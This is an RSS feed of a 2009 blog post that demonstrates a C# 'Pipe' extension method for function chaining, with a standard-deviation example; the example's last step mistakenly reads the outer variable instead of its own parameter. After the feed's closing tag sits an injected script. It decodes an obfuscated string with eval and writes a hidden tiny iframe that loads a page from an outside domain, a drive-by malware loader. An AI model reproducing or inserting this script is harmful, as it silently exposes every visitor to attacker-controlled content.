<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LexParse &#187; extension methods</title>
	<atom:link href="http://www.lexparse.com/tag/extension-methods/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com</link>
	<description>Software Development</description>
	<lastBuildDate>Sat, 14 Nov 2009 03:39:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>C# Pipelining: Extend Object With Pipe</title>
		<link>http://www.lexparse.com/2009/11/10/c-pipelining-extend-object-with-pipe/</link>
		<comments>http://www.lexparse.com/2009/11/10/c-pipelining-extend-object-with-pipe/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 15:17:27 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[extension methods]]></category>
		<category><![CDATA[Pipelining]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=128</guid>
		<description><![CDATA[Pipelining can be a useful operation when you need to break up code into several steps, perhaps for readability.  Typically this is done to avoid a huge mess of nested functions: f(g(h(i(j(k(l(x)))))).  Without pipelining you typically need to assign the various steps to local variables.  You can get pipelining in C# by [...]]]></description>
			<content:encoded><![CDATA[<p>Pipelining can be a useful operation when you need to break up code into several steps, perhaps for readability.  Typically this is done to avoid a huge mess of nested functions: <em>f(g(h(i(j(k(l(x))))))</em>.  Without pipelining you typically need to assign the various steps to local variables.  You can get pipelining in C# by extending <em>object </em> with this extension method:</p>
<pre name="code" class="csharp">
public static TResult Pipe&lt;T, TResult&gt;(this T obj, Func&lt;T, TResult&gt; f)
{
   return f(obj);
}
</pre>
<p>Example calculating standard deviation with and without pipelining:</p>
<pre name="code" class="csharp">

List&lt;double&gt; values = new List&lt;double&gt;() { 1, 7, 8, 9, 10, 100, 1000, 1001, 100000 };

double average = values.Average();
double totalVariance = 0;
foreach (double value in values)
{
   totalVariance += Math.Pow(value - average, 2);
}

//OR you could do this:
//totalVariance = values.Aggregate(0.0, (variance, val) =&gt; variance + Math.Pow(val - average, 2));

double stdDeviation = Math.Sqrt(totalVariance / values.Count);

//Now with pipe
stdDeviation = values
   .Pipe(v =&gt; v.Average())
   .Pipe(avg =&gt; values.Aggregate(0.0, (variance, val) =&gt; variance + Math.Pow(val - avg, 2)))
   .Pipe(totVariance =&gt; Math.Sqrt(totalVariance / values.Count));
</pre>
<p>Even int gets Pipe():</p>
<pre name="code" class="csharp">
(2)
   .Pipe(i => Math.Pow(i, 42))
   .Pipe(i42 => Math.Sin(i42));
</pre>
<p>The benefit, as far as I&#8217;m concerned, is avoiding uncessary mutable variables in the function scope (or at least from leaking out to where they don&#8217;t need to be).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/10/c-pipelining-extend-object-with-pipe/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>